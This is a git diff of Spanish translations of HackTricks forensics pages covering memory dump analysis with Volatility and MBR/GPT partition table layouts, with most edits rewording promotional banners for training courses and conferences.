@ -412,17 +413,17 @@ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
* [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf) * [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf)
* [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/) * [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/)
* [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203) * [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203)
* **Libro: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides** * **Libro: Guía de campo de forense de malware para sistemas Linux: Guías de campo de forense digital**
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Aprende hacking de AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? o ¿quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* Obtén la [**ropa oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén la [**merch oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord**](https://discord.gg/hRep4RUj7f) o al **grupo de telegram** o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
**Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
@ -431,7 +432,7 @@ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las herramientas comunitarias **más avanzadas** del mundo.\
¡Accede hoy: Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}

View file

@ -1,44 +1,47 @@
# Análisis de volcado de memoria # Análisis de volcado de memoria
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure> <figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro clave para profesionales de la tecnología y la ciberseguridad en todas las disciplinas. [**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro vibrante para profesionales de la tecnología y la ciberseguridad en todas las disciplinas.
{% embed url="https://www.rootedcon.com/" %} {% embed url="https://www.rootedcon.com/" %}
## Comienzo ## Comenzar
Comienza **buscando** **malware** dentro del pcap. Utiliza las **herramientas** mencionadas en [**Análisis de malware**](../malware-analysis.md). Comienza **buscando** **malware** dentro del pcap. Usa las **herramientas** mencionadas en [**Análisis de Malware**](../malware-analysis.md).
## [Volatility](volatility-cheatsheet.md) ## [Volatility](volatility-cheatsheet.md)
**Volatility es el principal marco de código abierto para el análisis de volcados de memoria**. Esta herramienta en Python analiza volcados de fuentes externas o máquinas virtuales VMware, identificando datos como procesos y contraseñas basados en el perfil del sistema operativo del volcado. Es extensible con complementos, lo que lo hace altamente versátil para investigaciones forenses. **Volatility es el principal marco de código abierto para el análisis de volcado de memoria**. Esta herramienta de Python analiza volcados de fuentes externas o VMs de VMware, identificando datos como procesos y contraseñas basados en el perfil del SO del volcado. Es extensible con plugins, lo que la hace altamente versátil para investigaciones forenses.
[**Encuentra aquí una hoja de trucos**](volatility-cheatsheet.md) [**Encuentra aquí una hoja de trucos**](volatility-cheatsheet.md)
## Informe de fallo de volcado mini ## Informe de fallo de mini volcado
Cuando el volcado es pequeño (solo algunos KB, tal vez unos pocos MB) entonces probablemente sea un informe de fallo de volcado mini y no un volcado de memoria. Cuando el volcado es pequeño (solo algunos KB, tal vez unos pocos MB) entonces probablemente sea un informe de fallo de mini volcado y no un volcado de memoria.
![](<../../../.gitbook/assets/image (532).png>) ![](<../../../.gitbook/assets/image (532).png>)
Si tienes Visual Studio instalado, puedes abrir este archivo y vincular alguna información básica como el nombre del proceso, la arquitectura, la información de la excepción y los módulos en ejecución: Si tienes Visual Studio instalado, puedes abrir este archivo y vincular información básica como el nombre del proceso, arquitectura, información de excepciones y módulos que se están ejecutando:
![](<../../../.gitbook/assets/image (263).png>) ![](<../../../.gitbook/assets/image (263).png>)
También puedes cargar la excepción y ver las instrucciones descompiladas También puedes cargar la excepción y ver las instrucciones decompiladas
![](<../../../.gitbook/assets/image (142).png>) ![](<../../../.gitbook/assets/image (142).png>)
@ -52,18 +55,21 @@ Deberías **abrirlo** usando **IDA** o **Radare** para inspeccionarlo en **profu
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure> <figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro clave para profesionales de la tecnología y la ciberseguridad en todas las disciplinas. [**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro vibrante para profesionales de la tecnología y la ciberseguridad en todas las disciplinas.
{% embed url="https://www.rootedcon.com/" %} {% embed url="https://www.rootedcon.com/" %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}

View file

@ -1,69 +1,70 @@
# Particiones/Sistemas de Archivos/Carving # Partitions/File Systems/Carving
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}
## Particiones ## Partitions
Un disco duro o un **disco SSD puede contener diferentes particiones** con el objetivo de separar físicamente los datos.\ Un disco duro o un **SSD puede contener diferentes particiones** con el objetivo de separar datos físicamente.\
La unidad **mínima** de un disco es el **sector** (normalmente compuesto por 512B). Por lo tanto, el tamaño de cada partición debe ser múltiplo de ese tamaño. La **unidad mínima** de un disco es el **sector** (normalmente compuesto de 512B). Por lo tanto, el tamaño de cada partición debe ser un múltiplo de ese tamaño.
### MBR (Registro de Arranque Maestro) ### MBR (master Boot Record)
Se encuentra en el **primer sector del disco después de los 446B del código de arranque**. Este sector es esencial para indicar a la PC qué y desde dónde se debe montar una partición.\ Se asigna en el **primer sector del disco después de los 446B del código de arranque**. Este sector es esencial para indicar a la PC qué y de dónde debe montarse una partición.\
Permite hasta **4 particiones** (como máximo **solo 1** puede ser activa/**de arranque**). Sin embargo, si necesitas más particiones puedes usar **particiones extendidas**. El **último byte** de este primer sector es la firma del registro de arranque **0x55AA**. Solo una partición puede estar marcada como activa.\ Permite hasta **4 particiones** (como máximo **solo 1** puede estar activa/**arrancable**). Sin embargo, si necesitas más particiones, puedes usar **particiones extendidas**. El **byte final** de este primer sector es la firma del registro de arranque **0x55AA**. Solo una partición puede marcarse como activa.\
MBR permite **máximo 2.2TB**. MBR permite **máx 2.2TB**.
![](<../../../.gitbook/assets/image (350).png>) ![](<../../../.gitbook/assets/image (350).png>)
![](<../../../.gitbook/assets/image (304).png>) ![](<../../../.gitbook/assets/image (304).png>)
Desde los **bytes 440 al 443** del MBR puedes encontrar la **Firma del Disco de Windows** (si se usa Windows). La letra de unidad lógica del disco duro depende de la Firma del Disco de Windows. Cambiar esta firma podría evitar que Windows se inicie (herramienta: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**. Desde los **bytes 440 a 443** del MBR puedes encontrar la **Firma de Disco de Windows** (si se usa Windows). La letra de unidad lógica del disco duro depende de la Firma de Disco de Windows. Cambiar esta firma podría impedir que Windows arranque (herramienta: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
![](<../../../.gitbook/assets/image (310).png>) ![](<../../../.gitbook/assets/image (310).png>)
**Formato** **Formato**
| Offset | Longitud | Elemento | | Offset | Length | Item |
| ----------- | ---------- | ------------------- | | ----------- | ---------- | ------------------- |
| 0 (0x00) | 446(0x1BE) | Código de arranque | | 0 (0x00) | 446(0x1BE) | Código de arranque |
| 446 (0x1BE) | 16 (0x10) | Primera Partición | | 446 (0x1BE) | 16 (0x10) | Primera partición |
| 462 (0x1CE) | 16 (0x10) | Segunda Partición | | 462 (0x1CE) | 16 (0x10) | Segunda partición |
| 478 (0x1DE) | 16 (0x10) | Tercera Partición | | 478 (0x1DE) | 16 (0x10) | Tercera partición |
| 494 (0x1EE) | 16 (0x10) | Cuarta Partición | | 494 (0x1EE) | 16 (0x10) | Cuarta partición |
| 510 (0x1FE) | 2 (0x2) | Firma 0x55 0xAA | | 510 (0x1FE) | 2 (0x2) | Firma 0x55 0xAA |
**Formato del Registro de Partición** **Formato del Registro de Partición**
| Offset | Longitud | Elemento | | Offset | Length | Item |
| --------- | -------- | --------------------------------------------------------- | | --------- | -------- | ------------------------------------------------------ |
| 0 (0x00) | 1 (0x01) | Bandera activa (0x80 = de arranque) | | 0 (0x00) | 1 (0x01) | Bandera activa (0x80 = arrancable) |
| 1 (0x01) | 1 (0x01) | Cabeza de inicio | | 1 (0x01) | 1 (0x01) | Cabeza de inicio |
| 2 (0x02) | 1 (0x01) | Sector de inicio (bits 0-5); bits superiores del cilindro (6- 7) | | 2 (0x02) | 1 (0x01) | Sector de inicio (bits 0-5); bits superiores del cilindro (6- 7) |
| 3 (0x03) | 1 (0x01) | Bits más bajos del cilindro de inicio | | 3 (0x03) | 1 (0x01) | Cilindro de inicio, 8 bits más bajos |
| 4 (0x04) | 1 (0x01) | Código de tipo de partición (0x83 = Linux) | | 4 (0x04) | 1 (0x01) | Código de tipo de partición (0x83 = Linux) |
| 5 (0x05) | 1 (0x01) | Cabeza de fin | | 5 (0x05) | 1 (0x01) | Cabeza final |
| 6 (0x06) | 1 (0x01) | Sector de fin (bits 0-5); bits superiores del cilindro (6- 7) | | 6 (0x06) | 1 (0x01) | Sector final (bits 0-5); bits superiores del cilindro (6- 7) |
| 7 (0x07) | 1 (0x01) | Bits más bajos del cilindro de fin | | 7 (0x07) | 1 (0x01) | Cilindro final, 8 bits más bajos |
| 8 (0x08) | 4 (0x04) | Sectores previos a la partición (poco endian) | | 8 (0x08) | 4 (0x04) | Sectores precedentes a la partición (little endian) |
| 12 (0x0C) | 4 (0x04) | Sectores en la partición | | 12 (0x0C) | 4 (0x04) | Sectores en la partición |
Para montar un MBR en Linux primero necesitas obtener el desplazamiento de inicio (puedes usar `fdisk` y el comando `p`) Para montar un MBR en Linux, primero necesitas obtener el desplazamiento de inicio (puedes usar `fdisk` y el comando `p`)
![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) ![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
Y luego usar el siguiente código Y luego usa el siguiente código
```bash ```bash
#Mount MBR in Linux #Mount MBR in Linux
mount -o ro,loop,offset=<Bytes> mount -o ro,loop,offset=<Bytes>
@ -76,20 +77,20 @@ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
### GPT (Tabla de particiones GUID) ### GPT (Tabla de particiones GUID)
La Tabla de Particiones GUID, conocida como GPT, es preferida por sus capacidades mejoradas en comparación con MBR (Registro de arranque principal). Distintiva por su **identificador único global** para particiones, GPT se destaca de varias maneras: La Tabla de Particiones GUID, conocida como GPT, es preferida por sus capacidades mejoradas en comparación con MBR (Registro de arranque maestro). Distintiva por su **identificador único global** para particiones, GPT se destaca en varios aspectos:
* **Ubicación y tamaño**: Tanto GPT como MBR comienzan en el **sector 0**. Sin embargo, GPT opera en **64 bits**, a diferencia de los 32 bits de MBR. * **Ubicación y tamaño**: Tanto GPT como MBR comienzan en **sector 0**. Sin embargo, GPT opera en **64 bits**, en contraste con los 32 bits de MBR.
* **Límites de partición**: GPT admite hasta **128 particiones** en sistemas Windows y puede alojar hasta **9.4ZB** de datos. * **Límites de partición**: GPT admite hasta **128 particiones** en sistemas Windows y acomoda hasta **9.4ZB** de datos.
* **Nombres de particiones**: Ofrece la capacidad de nombrar particiones con hasta 36 caracteres Unicode. * **Nombres de partición**: Ofrece la capacidad de nombrar particiones con hasta 36 caracteres Unicode.
**Resiliencia y recuperación de datos**: **Resiliencia y recuperación de datos**:
* **Redundancia**: A diferencia de MBR, GPT no limita la partición y los datos de arranque a un solo lugar. Replica estos datos en todo el disco, mejorando la integridad y resiliencia de los datos. * **Redundancia**: A diferencia de MBR, GPT no confina la partición y los datos de arranque a un solo lugar. Replica estos datos a lo largo del disco, mejorando la integridad y resiliencia de los datos.
* **Verificación cíclica de redundancia (CRC)**: GPT emplea CRC para garantizar la integridad de los datos. Monitorea activamente la corrupción de datos y, cuando se detecta, GPT intenta recuperar los datos corruptos desde otra ubicación en el disco. * **Verificación de redundancia cíclica (CRC)**: GPT emplea CRC para asegurar la integridad de los datos. Monitorea activamente la corrupción de datos y, cuando se detecta, GPT intenta recuperar los datos corruptos desde otra ubicación del disco.
**MBR protector (LBA0)**: **MBR protector (LBA0)**:
* GPT mantiene la compatibilidad hacia atrás a través de un MBR protector. Esta característica reside en el espacio MBR heredado pero está diseñada para evitar que utilidades MBR más antiguas sobrescriban por error discos GPT, protegiendo así la integridad de los datos en discos formateados con GPT. * GPT mantiene la compatibilidad hacia atrás a través de un MBR protector. Esta característica reside en el espacio MBR legado pero está diseñada para evitar que utilidades basadas en MBR más antiguas sobrescriban erróneamente discos GPT, protegiendo así la integridad de los datos en discos formateados con GPT.
![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID\_Partition\_Table\_Scheme.svg/800px-GUID\_Partition\_Table\_Scheme.svg.png](<../../../.gitbook/assets/image (1062).png>) ![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID\_Partition\_Table\_Scheme.svg/800px-GUID\_Partition\_Table\_Scheme.svg.png](<../../../.gitbook/assets/image (1062).png>)
@ -97,43 +98,43 @@ La Tabla de Particiones GUID, conocida como GPT, es preferida por sus capacidade
[Desde Wikipedia](https://en.wikipedia.org/wiki/GUID\_Partition\_Table) [Desde Wikipedia](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
En sistemas operativos que admiten **arranque basado en GPT a través de servicios BIOS** en lugar de EFI, el primer sector también puede usarse para almacenar la primera etapa del código del **cargador de arranque**, pero **modificado** para reconocer **particiones GPT**. El cargador de arranque en el MBR no debe asumir un tamaño de sector de 512 bytes. En sistemas operativos que soportan **arranque basado en GPT a través de servicios BIOS** en lugar de EFI, el primer sector también puede seguir utilizándose para almacenar la primera etapa del código del **bootloader**, pero **modificado** para reconocer **particiones GPT**. El bootloader en el MBR no debe asumir un tamaño de sector de 512 bytes.
**Encabezado de la tabla de particiones (LBA 1)** **Encabezado de la tabla de particiones (LBA 1)**
[Desde Wikipedia](https://en.wikipedia.org/wiki/GUID\_Partition\_Table) [Desde Wikipedia](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
El encabezado de la tabla de particiones define los bloques utilizables en el disco. También define el número y tamaño de las entradas de partición que conforman la tabla de particiones (desplazamientos 80 y 84 en la tabla). El encabezado de la tabla de particiones define los bloques utilizables en el disco. También define el número y tamaño de las entradas de partición que componen la tabla de particiones (desplazamientos 80 y 84 en la tabla).
| Desplazamiento | Longitud | Contenido | | Desplazamiento | Longitud | Contenido |
| -------------- | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | -------------- | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| 0 (0x00) | 8 bytes | Firma ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h o 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8)en máquinas little-endian) | | 0 (0x00) | 8 bytes | Firma ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h o 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8)en máquinas little-endian) |
| 8 (0x08) | 4 bytes | Revisión 1.0 (00h 00h 01h 00h) para UEFI 2.8 | | 8 (0x08) | 4 bytes | Revisión 1.0 (00h 00h 01h 00h) para UEFI 2.8 |
| 12 (0x0C) | 4 bytes | Tamaño del encabezado en little-endian (en bytes, generalmente 5Ch 00h 00h 00h o 92 bytes) | | 12 (0x0C) | 4 bytes | Tamaño del encabezado en little endian (en bytes, generalmente 5Ch 00h 00h 00h o 92 bytes) |
| 16 (0x10) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) del encabezado (desplazamiento +0 hasta tamaño del encabezado) en little-endian, con este campo en cero durante el cálculo | | 16 (0x10) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) del encabezado (desplazamiento +0 hasta el tamaño del encabezado) en little endian, con este campo en cero durante el cálculo |
| 20 (0x14) | 4 bytes | Reservado; debe ser cero | | 20 (0x14) | 4 bytes | Reservado; debe ser cero |
| 24 (0x18) | 8 bytes | LBA actual (ubicación de esta copia del encabezado) | | 24 (0x18) | 8 bytes | LBA actual (ubicación de esta copia del encabezado) |
| 32 (0x20) | 8 bytes | LBA de respaldo (ubicación de la otra copia del encabezado) | | 32 (0x20) | 8 bytes | LBA de respaldo (ubicación de la otra copia del encabezado) |
| 40 (0x28) | 8 bytes | Primer LBA utilizable para particiones (último LBA de la tabla de particiones primaria + 1) | | 40 (0x28) | 8 bytes | Primer LBA utilizable para particiones (último LBA de la tabla de particiones primaria + 1) |
| 48 (0x30) | 8 bytes | Último LBA utilizable (primer LBA de la tabla de particiones secundaria 1) | | 48 (0x30) | 8 bytes | Último LBA utilizable (primer LBA de la tabla de particiones secundaria 1) |
| 56 (0x38) | 16 bytes | GUID del disco en endian mixto | | 56 (0x38) | 16 bytes | GUID del disco en endian mixto |
| 72 (0x48) | 8 bytes | LBA de inicio de una matriz de entradas de partición (siempre 2 en la copia primaria) | | 72 (0x48) | 8 bytes | LBA inicial de un array de entradas de partición (siempre 2 en la copia primaria) |
| 80 (0x50) | 4 bytes | Número de entradas de partición en la matriz | | 80 (0x50) | 4 bytes | Número de entradas de partición en el array |
| 84 (0x54) | 4 bytes | Tamaño de una sola entrada de partición (generalmente 80h o 128) | | 84 (0x54) | 4 bytes | Tamaño de una sola entrada de partición (generalmente 80h o 128) |
| 88 (0x58) | 4 bytes | CRC32 de la matriz de entradas de partición en little-endian | | 88 (0x58) | 4 bytes | CRC32 del array de entradas de partición en little endian |
| 92 (0x5C) | \* | Reservado; deben ser ceros para el resto del bloque (420 bytes para un tamaño de sector de 512 bytes; pero puede ser más con tamaños de sector más grandes) | | 92 (0x5C) | \* | Reservado; debe ser ceros para el resto del bloque (420 bytes para un tamaño de sector de 512 bytes; pero puede ser más con tamaños de sector más grandes) |
**Entradas de particiones (LBA 233)** **Entradas de partición (LBA 233)**
| Formato de entrada de partición GUID | | | | Formato de entrada de partición GUID | | |
| ----------------------------------- | -------- | ----------------------------------------------------------------------------------------------------------------- | | ------------------------------------- | -------- | ----------------------------------------------------------------------------------------------------------------- |
| Desplazamiento | Longitud | Contenido | | Desplazamiento | Longitud | Contenido |
